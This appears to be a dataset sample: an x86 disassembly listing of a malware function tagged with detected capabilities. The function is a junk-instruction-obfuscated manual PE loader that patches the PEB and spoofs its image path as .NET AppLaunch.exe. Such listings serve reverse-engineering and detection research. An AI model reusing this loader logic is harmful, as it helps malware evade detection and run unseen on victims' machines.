Function at 0x4031c0
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process filename
Get process heap flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [ebp + 8]
or ebx, 0x13
add esi, 0xcd
mov esi, 0xe6
inc edx
rol edx, 0x50
rcl ebx, 0xdb
neg esi
rol eax, 0x8c
dec edx
not eax
rcr edi, 0x74
or edi, 0x39
bswap esi
rcl ebx, 0xf1
sbb edi, 0x19
add edi, 0xe6
and edi, 0xd0
imul ebx
not eax
mov edx, 0x4e
not eax
neg esi
bswap edx
neg eax
and edx, 0x2a
dec esi
mov edi, 0xf1
imul edi
or edi, 0x70
dec edx
not eax
rcl edi, 0x1b
mov ebx, 0x44
and esi, 0x6d
rcl edi, 8
or edx, 0xb7
and eax, 1
bswap esi
or edx, 0x34
bswap esi
rcl edi, 0xbc
imul edi
sbb esi, 0xc3
rol ebx, 0xc9
bswap edi
neg eax
inc esi
sbb esi, 0x50
sub eax, 4
sub eax, 0x90
bswap ebx
sbb esi, 0xb0
dec edi
sbb edx, 0xc9
not eax
neg esi
not edx
ror esi, 2
neg eax
rcr eax, 0x47
dec edx
or ebx, 0x12
not ebx
bswap edi
not ebx
imul ebx
sbb edx, 0xc4
and ebx, 0x34
rol edi, 0x86
sub esi, 0xb6
sub ebx, 0x1c
imul esi
rcl edi, 0xfa
rcr ebx, 0x1d
rol edi, 0xa6
inc eax
rol ebx, 0x4f
ror ebx, 0xa3
rcl ebx, 0x5c
bswap eax
bswap esi
rcr edx, 0xa
not eax
rcr edi, 0x4e
bswap edi
dec edi
add esi, 0x36
bswap esi
sbb edx, 0x26
neg edx
rol eax, 0x17
bswap edx
ror eax, 0x62
add eax, 0x45
add ebx, 0x57
bswap edi
or esi, 0x7d
sub edi, 0x58
rol esi, 0x98
neg esi
inc ebx
or esi, 0xf4
inc edi
neg edi
ror ebx, 0x9f
imul ebx
not ebx
and edx, 0x7e
ror edi, 0xdf
or esi, 0xc3
sbb edx, 0x3f
rcr eax, 0xe5
dec edx
or eax, 0x21
or edx, 0xf3
rcl edi, 0xb
rol edi, 0xee
rcl edx, 0xfa
rcr eax, 4
neg ebx
rcr esi, 0x9e
rol eax, 0xa0
mov edx, 0x8b
dec esi
mov edi, 0xce
dec edx
inc eax
rol esi, 0x3b
not edi
imul ebx
neg edx
inc eax
dec edi
ror edx, 0x5f
neg esi
rcr ebx, 0xba
rcr esi, 0x9b
sub edx, 0xb2
not ebx
rcr ebx, 0x78
sbb edx, 0x42
imul edx
or ebx, 0xba
rcl ebx, 0xe2
imul edx
not esi
rol edi, 0x1e
not edi
neg eax
rcr ebx, 0xd7
rcr esi, 0x63
dec edi
imul eax
bswap edi
bswap eax
not esi
ror edx, 0x89
rcr eax, 0xd5
sbb ebx, 0x84
imul edi
not esi
and eax, 0xef
not esi
rcl edx, 0xad
rcr edi, 0xa3
not esi
or edx, 0xbc
bswap edi
sbb ebx, 0xf6
sub edi, 0x45
imul esi
sbb edi, 0x44
inc ebx
imul edi
add edx, 0xb7
imul eax
bswap edx
inc ebx
neg ebx
and eax, 0x12
inc ebx
imul ebx
mov eax, 0xa0
bswap eax
bswap edx
sbb eax, 0x55
bswap eax
imul esi
imul edx
dec ebx
and ebx, 0xe3
dec ebx
sbb edx, 0xd8
not edi
mov ebx, 0xba
bswap eax
not ebx
imul ebx
mov ebx, 0x22
sub esi, 0x5b
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x8fa00
call fcn.00402f70
lea eax, section..data
mov dword [ebp + 8], eax
not edx
imul esi
bswap eax
neg edx
bswap eax
imul edx
add edx, 0x85
or ebx, 0x2b
rcr edx, 0x26
dec esi
rol eax, 0x94
neg edi
neg eax
bswap edi
dec esi
and ebx, 0x93
neg ebx
or ebx, 0x4c
dec eax
not eax
neg eax
dec ebx
not esi
inc edx
inc ebx
rcr edi, 0xfa
mov edi, 0x91
dec edi
bswap ebx
imul edi
sub esi, 0x92
not ebx
ror eax, 0x2f
imul ebx
add edi, 0xc7
imul ebx
mov edi, 0x47
ror ebx, 0xd
and eax, 0xea
not eax
sub edi, 0x2e
not edx
inc esi
not eax
rcr edi, 0x69
add edi, 0x27
not edi
or edi, 0xd4
mov eax, 0x49
rol esi, 9
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
je 0x4034db
mov dword [ebp - 0x10], 1
jmp 0x404819
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x20], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x1c], 0
je 0x403513
xor eax, eax
mov dword [ebp - 0x118], eax
jmp 0x40351f
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1c], 0
jne 0x403573
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x403573
mov dword [ebp - 0x10], 2
jmp 0x404819
dec eax
ror edi, 0x3d
bswap edx
add esi, 0x7d
inc esi
dec esi
sbb esi, 0xe
imul edi
add edx, 0xe8
and esi, 0xf9
and eax, 0xcf
dec ebx
imul esi
ror esi, 0xd0
bswap ebx
imul esi
rol edx, 0x87
rcr ebx, 0xf4
and ebx, 0x45
or eax, 0x44
rcr edx, 0xdd
inc ebx
sub esi, 0x89
inc edi
ror eax, 0xff
rol edx, 0xd4
rcl ebx, 0xf
not edi
mov edx, 0x56
mov eax, 0xca
neg eax
not edx
not edx
dec esi
mov ebx, 2
and edx, 0x3a
rcr edx, 0xae
inc edx
ror edx, 0x41
rcr esi, 0x83
rol ebx, 0xf6
sub esi, 0x66
neg edx
sub eax, 0x10
imul edi
dec esi
sbb edx, 0xd0
sbb ebx, 0x5b
ror eax, 0x62
inc ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x24]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403190
not eax
not ebx
mov eax, 0x3c
rol edx, 1
inc ebx
imul edx
imul ebx
imul eax
inc esi
rcl ebx, 0xb3
rol edx, 0x39
or edi, 0x72
or esi, 0x63
dec edx
imul edx
and edi, 0x11
dec ebx
neg edi
dec edi
neg edx
and eax, 0x1f
add edx, 0x76
and ebx, 0x21
sub esi, 0xc4
sbb esi, 0x70
not edi
not eax
not eax
rcl ebx, 0x30
sub edi, 0x3c
neg esi
bswap ebx
sbb edx, 0x56
bswap ebx
bswap edx
dec edx
not edi
sbb eax, 2
not eax
not edi
dec ebx
rcl esi, 0x3d
imul ebx
or eax, 0xf5
inc edi
imul esi
not eax
rcl edx, 0x7d
mov edi, 0x8d
dec esi
rcr edx, 0x21
imul ebx
neg edi
sub edi, 0x94
and esi, 0xa3
imul eax
rol edi, 0xc6
inc edx
neg ebx
neg edx
rol eax, 0x72
rol ebx, 0x1f
inc eax
rcr esi, 0x4e
sub edi, 0xaa
neg eax
sbb edi, 8
inc edx
not ebx
or edi, 0x4f
dec esi
add esi, 0xc6
imul ebx
not esi
inc eax
add eax, 0x58
sub edi, 5
dec edi
and esi, 0x11
sbb eax, 0x10
neg eax
neg edi
rcl edx, 0x71
not edi
ror edx, 0x36
sbb eax, 0x2d
neg eax
rcr esi, 0xf3
add edx, 0x15
neg edi
bswap ebx
and edi, 0x82
neg edi
rcr eax, 0x3d
imul edx
add edx, 0x9a
rol edi, 0xbd
or edi, 0xc2
and edi, 0x48
not esi
sub edi, 0x4e
add edi, 0x68
or ebx, 0x9b
neg ebx
not esi
rcl eax, 0x8b
sbb ebx, 0xba
neg edx
and eax, 0xa8
neg edx
mov edx, 0x6b
add edi, 0xaf
not edi
rcr edx, 0xa0
mov edi, 0xd3
and edi, 1
inc eax
or edi, 0xe7
inc eax
ror ebx, 0xe0
rol eax, 0x4b
mov eax, 0xcc
imul esi
rcr edx, 0x10
rcl edx, 0x2c
inc ebx
sbb edx, 0x48
bswap eax
dec edx
ror edx, 0xdf
dec ebx
mov ebx, 0x16
mov edx, 0xc3
add ebx, 9
imul ebx
bswap edx
add eax, 0x86
sub edi, 0xac
imul esi
rcl ebx, 0x14
inc ebx
add esi, 0x43
not edi
neg edx
neg ebx
bswap edi
ror esi, 0xd
dec esi
dec edi
not esi
ror ebx, 0x51
bswap eax
inc edx
sbb eax, 0xc3
sub eax, 0x6b
and edi, 0xe9
rcl esi, 0x8e
not eax
inc ebx
rol ebx, 0x24
rcl edi, 0x3f
ror ebx, 0xf1
bswap ebx
dec edx
rcl edi, 0xb2
and eax, 0x4f
or edx, 0x7b
ror edx, 0x5b
neg eax
rcl edx, 0x60
inc ebx
neg esi
dec ebx
inc eax
not ebx
rcl edi, 0x2c
rcl esi, 0xc3
or edi, 0x69
rcl ebx, 0x3c
add ebx, 0x2c
neg ebx
not esi
and edx, 0x24
imul eax
add ebx, 0xfd
neg eax
bswap edx
bswap edi
dec edi
rcl edx, 0xa9
inc ebx
not edx
rcr ebx, 0x3b
add esi, 0x3e
rcl edx, 0x10
sbb ebx, 0x63
sub esi, 0x81
and edx, 0x81
neg eax
sub ebx, 0x31
neg edx
imul eax
ror eax, 0x97
imul eax
inc edi
dec edx
bswap esi
or eax, 0x12
add eax, 0x6d
rcl eax, 0xfe
inc edx
dec edx
mov edx, 0x30
not esi
rcl eax, 0x3b
sub ebx, 0x1a
ror edx, 0xe0
and ebx, 0x6d
and esi, 0x72
neg ebx
not edi
and esi, 0x4c
and esi, 0xf2
add edx, 0x4c
and eax, 0x79
neg eax
sub ebx, 0xf3
bswap edi
imul edi
add eax, 0xd2
rcr edx, 0x7e
add edx, 0xec
imul esi
mov esi, 0xf3
bswap ebx
rcr esi, 0xaf
ror edx, 0xe6
mov edx, 0xba
sbb edi, 0xdf
or ebx, 0x99
or edi, 0x37
dec ebx
sub edx, 0x8f
bswap eax
ror edi, 0xc9
bswap edi
or esi, 0xc3
dec eax
not esi
inc esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add eax, 0x18
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x403945
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x2c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x28]
imul esi, dword [ebp - 0x2c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
imul edi, dword [ebp - 0x2c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403190
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x4038eb
inc edi
and edx, 0x99
and ebx, 0xa4
imul ebx
and eax, 0x48
sbb edi, 0xa
mov edi, 0x78
ror edx, 0xf
or esi, 0x37
and edi, 0xd
bswap edx
inc eax
ror ebx, 0xc5
not eax
and eax, 0xa4
or edi, 0xe5
ror ebx, 0xf2
sub ebx, 0x1e
ror esi, 0x45
neg esi
neg esi
dec esi
or edi, 0x1e
not eax
not ebx
not esi
bswap eax
and eax, 0x6f
inc esi
rcl eax, 0xdd
dec eax
imul esi
inc esi
not ebx
dec esi
mov esi, 0x2f
dec edi
bswap eax
not edx
neg esi
neg eax
rcr edi, 0x19
not edx
imul ebx
imul edx
add edx, 0x4a
or esi, 0xd0
mov ebx, 0x35
sbb ebx, 0x9d
imul edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x403a9e
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x1c]
jae 0x403a99
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
add eax, 8
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jge 0x403a82
mov eax, dword [ebp - 0x44]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x403a6b
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
add eax, 2
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
jmp 0x403a32
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], eax
jmp 0x4039fd
jmp 0x403a9e
not edx
not eax
imul edi
imul eax
or eax, 0xab
or ebx, 0
bswap ebx
rcl esi, 0x4c
imul ebx
or ebx, 0x74
mov esi, 0x7c
neg ebx
mov eax, 0xe2
inc eax
rcr edi, 0xc5
rcl edx, 0xc
add edi, 0x25
dec esi
neg eax
ror esi, 0x4e
inc eax
dec eax
mov eax, 0xa4
or esi, 0xcd
inc edi
dec edx
rcr ebx, 0xdf
imul esi
imul edi
inc edi
neg edx
dec edi
dec edi
ror edx, 0xec
rcr esi, 0x15
imul edi
not edx
rol eax, 0xb
rcl eax, 0x62
inc edx
rcr esi, 0xeb
imul eax
sbb eax, 0xf8
bswap edx
not esi
not esi
bswap eax
ror edx, 0x93
sub edi, 0x9f
neg edi
neg eax
inc ebx
dec edx
ror esi, 0xfe
add ebx, 0x89
imul eax
dec edx
or eax, 0xf
sbb edx, 0xb4
ror edi, 0x77
inc eax
dec eax
not edx
mov ebx, 0x30
neg ebx
or edi, 0x73
rol eax, 0x4c
and edi, 0x1c
dec esi
inc edx
not edi
sub ebx, 0xa1
inc ebx
rcr eax, 0xce
imul edi
rcl edx, 0x24
dec edx
sbb ebx, 0xb7
rcr esi, 0xb0
and edi, 0xc
dec esi
neg esi
add ebx, 0xf8
bswap edx
imul ebx
bswap edx
imul esi
rol esi, 0xea
not ebx
inc edx
ror eax, 0xd9
neg ebx
inc ebx
bswap esi
rol esi, 0x6c
dec edx
not edi
neg ebx
add edx, 0x58
sbb ebx, 0xc6
imul edx
rcl ebx, 0xbf
neg esi
mov edi, 0xb7
ror esi, 0xbb
sbb edx, 0xbb
inc eax
dec ebx
rcl ebx, 0xfc
rcl edi, 0xc4
and edx, 0xe7
neg edx
not edx
neg eax
rcr esi, 0x2c
dec eax
dec ebx
imul edi
bswap edx
add eax, 0x3b
dec edx
dec eax
dec ebx
and eax, 0x2d
neg edx
sub eax, 0x13
and edx, 0xa5
sbb edi, 1
neg ebx
or edx, 0x83
imul ebx
bswap eax
and edx, 0x73
inc edi
mov eax, 0xd0
add edi, 0x87
or ebx, 0xde
neg edx
inc edx
rcr edx, 0xb8
and esi, 0x6e
sbb esi, 0x33
or ebx, 0xb0
neg edx
imul esi
imul edi
dec esi
imul esi
ror esi, 0xd3
add eax, 0xc3
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x50], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x403d46
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
imul edx, dword [ebp - 0x50], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x403c89
jmp 0x403d38
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
imul edx, dword [ebp - 0x50], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
cmp dword [eax + ecx*4], 0
je 0x403d33
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x60]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x403d09
mov eax, dword [ebp - 0x64]
add eax, 2
mov ecx, dword [ebp - 0x58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x4c]
imul esi, dword [ebp - 0x50], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x60]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
jmp 0x403ca2
jmp 0x403d38
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x403c43
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x403e7e
mov dword [ebp - 0x74], 0x40
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x70], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x403db4
mov eax, dword [ebp - 0x78]
and eax, 0x80000000
cmp eax, 0
je 0x403db4
mov eax, dword [ebp - 0x78]
and eax, 0x20000000
cmp eax, 0
je 0x403db4
mov dword [ebp - 0x74], 0x40
jmp 0x403e37
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x403de2
mov eax, dword [ebp - 0x78]
and eax, 0x80000000
cmp eax, 0
je 0x403de2
mov dword [ebp - 0x74], 4
jmp 0x403e32
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x403e10
mov eax, dword [ebp - 0x78]
and eax, 0x20000000
cmp eax, 0
je 0x403e10
mov dword [ebp - 0x74], 0x20
jmp 0x403e2d
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x403e28
mov dword [ebp - 0x74], 2
jmp 0x403e2d
jmp 0x403e32
jmp 0x403e37
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
imul edx, dword [ebp - 0x70], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
imul edi, dword [ebp - 0x70], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x6c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x403d4d
mov edx, 0x28
and edi, 0x67
not edx
and edx, 0xa7
and esi, 0x97
neg ebx
ror edx, 0xc1
bswap edx
not edx
add ebx, 0xec
or eax, 0x70
not edx
imul eax
mov eax, 0x70
sbb esi, 0xee
ror edi, 0x30
sub esi, 0xcc
neg eax
imul edi
add ebx, 0x28
dec ebx
neg eax
inc esi
rcl ebx, 0xbf
dec ebx
bswap edi
bswap eax
not edx
inc edx
sub edi, 0xb6
mov eax, 0xf7
neg edx
inc ebx
or ebx, 0x2d
rol edi, 0xf8
and esi, 0x90
imul eax
rol eax, 0xb6
neg edi
rcr ebx, 0xe6
not edi
dec ebx
add edi, 0x23
and ebx, 0xca
dec edx
not eax
not ebx
neg eax
bswap ebx
dec edx
neg edi
neg edx
neg eax
ror edx, 0x99
rcr edx, 0x1c
sbb ebx, 0xed
and edi, 0x61
mov esi, 0x91
rol ebx, 0x99
ror eax, 0x4f
dec edx
mov eax, 0x7a
neg ebx
neg ebx
imul edi
inc esi
ror edi, 0xdf
imul esi
rol ebx, 0x1c
inc eax
sub ebx, 0xdd
bswap eax
mov esi, 0x25
and ebx, 0xe2
sub edi, 0xfa
or eax, 0xfa
dec edi
and eax, 0x18
and edx, 0xc
neg edx
inc edi
ror esi, 0x80
ror edx, 0x8a
neg edi
imul eax
neg edi
not edi
neg ebx
dec ebx
dec edx
inc edx
not eax
imul esi
or eax, 0x75
inc edx
dec edx
bswap esi
inc edx
neg esi
imul edi
add edx, 0xf8
neg eax
neg ebx
dec esi
imul edi
neg eax
rcr edx, 0x66
rcr edi, 0x61
dec edi
imul edx
rol eax, 0xf
imul eax
inc edi
and ebx, 0x7b
not edx
inc edx
ror edx, 0x39
inc edi
inc ebx
not edx
bswap esi
bswap ebx
rcl eax, 0xd2
dec eax
rcl eax, 0x31
imul edx
dec ebx
inc ebx
sbb esi, 1
or esi, 0x33
neg ebx
mov ebx, 0x3d
rcl edi, 0x23
inc edx
mov ebx, 0x30
rcl esi, 0x82
imul ebx
ror edx, 0x72
rcr eax, 0x40
ror eax, 0x9f
add eax, 0x7b
rol eax, 0xc0
sbb edi, 0xf6
sbb esi, 0xa2
neg eax
mov eax, 0x5a
dec eax
and eax, 0xf6
neg edx
or eax, 0xd1
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x84], eax
and eax, 0xb9
not ebx
imul edi
inc eax
add edx, 0x3c
dec eax
rol eax, 0xe6
and ebx, 0x35
rol esi, 0x5a
dec edx
sbb eax, 0xa5
neg ebx
dec edi
sbb edx, 0xea
dec edi
sub edx, 0x8f
inc esi
sub esi, 0x58
rcl esi, 0x98
rcr ebx, 0x38
add edx, 0xd8
or edi, 0xc2
rcr esi, 0xd5
rcr ebx, 0x5a
rcr ebx, 0x6b
add edi, 0x50
dec edi
imul eax
neg eax
or ebx, 0x25
not esi
or edi, 9
imul edi
mov ebx, 7
rcr edx, 0xc5
sbb edx, 0x32
mov eax, 0xdc
mov eax, 0x3c
inc edi
sub edx, 0xb7
neg edx
bswap esi
rol edx, 0xda
inc esi
rcl edi, 0xd2
sbb edi, 0x91
bswap esi
mov edi, 0x1b
neg esi
mov ebx, 0x6b
dec edi
not eax
bswap edi
mov edi, 0x7a
rcl ebx, 0x6e
inc eax
mov eax, 0x12
mov edx, 0xbd
inc esi
sub ebx, 0x54
and edi, 0xcf
or edi, 0x19
imul eax
or eax, 0xe7
inc esi
rcr edi, 0x9e
inc eax
bswap edi
rol ebx, 0xa8
rcr edi, 0xf7
rcl edi, 0x65
sub edi, 0xae
or eax, 0xd2
neg eax
not ebx
ror edx, 0x96
and edx, 0xaa
imul esi
not edx
inc edx
inc edi
add edi, 0x8c
bswap ebx
or ebx, 0x8a
rcl edi, 0x4f
rcr edx, 4
imul eax
sub eax, 0xdc
neg ebx
neg edx
rcr eax, 0xa2
dec edi
sbb eax, 0x39
and edi, 0x8d
sbb esi, 0xe3
not eax
rcl eax, 0x39
bswap esi
and edx, 0x97
ror eax, 0x37
dec ebx
bswap edx
rcr esi, 0xcd
not edi
not esi
or edi, 0xc9
imul edx
neg ebx
add ebx, 0xad
rcl edx, 0x37
rol eax, 0x8e
imul edi
inc eax
neg ebx
rol eax, 0x5b
neg esi
or eax, 0xd8
or ebx, 0x84
sub edx, 0x40
not edx
ror edi, 0xf
rcl eax, 0x41
or eax, 0x52
rcr ebx, 0x20
inc edi
inc edi
imul esi
add ebx, 0x3b
neg edi
rcl edx, 0x7a
or ebx, 0xab
imul edx
inc esi
rcl edi, 0x11
add edx, 0x84
imul eax
sbb eax, 0xe1
not edx
ror ebx, 0xf3
neg eax
inc esi
bswap ebx
dec edi
inc esi
and edi, 0x1a
imul edx
sub ebx, 0xc0
bswap eax
or esi, 0x3f
sbb edx, 0xc8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x84]
add eax, 0x24
mov dword [ebp - 0x88], eax
not edi
not edx
not esi
rcr edx, 0xd7
bswap edx
dec ebx
neg edx
ror edx, 0xf7
imul edi
and edi, 0x4d
bswap esi
inc eax
imul eax
bswap ebx
neg eax
not eax
neg edi
or edi, 0xb
not edi
bswap ebx
rcl edi, 0x53
rcl eax, 0xd9
add esi, 0x3d
inc edx
rcl esi, 0xb3
inc edx
ror eax, 0x87
dec eax
inc eax
dec ebx
not edi
inc eax
sub eax, 0x4e
bswap ebx
dec esi
ror esi, 0xca
not eax
not esi
add ebx, 0x8d
not edi
sub edx, 0xf7
bswap edi
not edi
imul esi
mov edi, 0x88
not edx
inc ebx
not edi
rcl ebx, 0xa7
rol ebx, 0xdd
inc edi
neg ebx
not eax
dec ebx
and esi, 0xdd
not ebx
inc eax
or ebx, 0x16
bswap esi
inc eax
inc edi
and edx, 0x69
not edx
or edi, 0x62
or ebx, 5
imul edx
add esi, 0x68
neg eax
not ebx
ror edi, 0x4a
not esi
imul eax
sbb edi, 0xdf
neg edi
imul edx
sbb edi, 0x60
rol eax, 9
neg esi
rcl edi, 0x6d
dec edi
sub esi, 0x9d
not esi
ror ebx, 0x89
bswap edi
bswap edi
rcr esi, 0x75
sub ebx, 0x60
or esi, 0x1c
not ebx
sbb edx, 0xc4
imul esi
not eax
imul ebx
rol eax, 0xc6
neg eax
mov esi, 0xfb
bswap edx
inc esi
neg edi
sbb edi, 0xb5
neg ebx
neg ebx
and eax, 0xe6
mov edx, 0xf
imul esi
bswap esi
bswap esi
neg esi
bswap edi
add edx, 0x3f
mov ebx, 2
and eax, 0x3d
mov ebx, 0x93
neg esi
mov edx, 0xdc
and ebx, 0xaf
inc eax
not edx
and esi, 0xe4
neg esi
rol esi, 0xbf
rcl ebx, 0x4e
not edi
bswap edx
sub esi, 0xb2
imul eax
sbb eax, 0x70
mov edx, 0xc6
sub edx, 0x8a
rol esi, 0x50
bswap ebx
not edi
rcr esi, 0x4c
sub ebx, 0x5e
bswap edx
dec ebx
neg esi
neg esi
not ebx
sub esi, 0x33
dec ebx
or esi, 0xd6
or edx, 0x76
bswap edx
sub edx, 0xc7
dec eax
mov ebx, 0x31
rol esi, 0x9a
imul eax
rcr eax, 0x79
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x102]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.00411460
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x103], al
test byte [ebp - 0x103], 1
je 0x404441
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x10c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403190
lea ecx, [ebp - 0x102]
mov eax, dword [ebp - 0x88]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x102]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x88]
mov word [eax], cx
or esi, 0xce
imul ebx
ror ebx, 0x91
inc eax
neg ebx
bswap edx
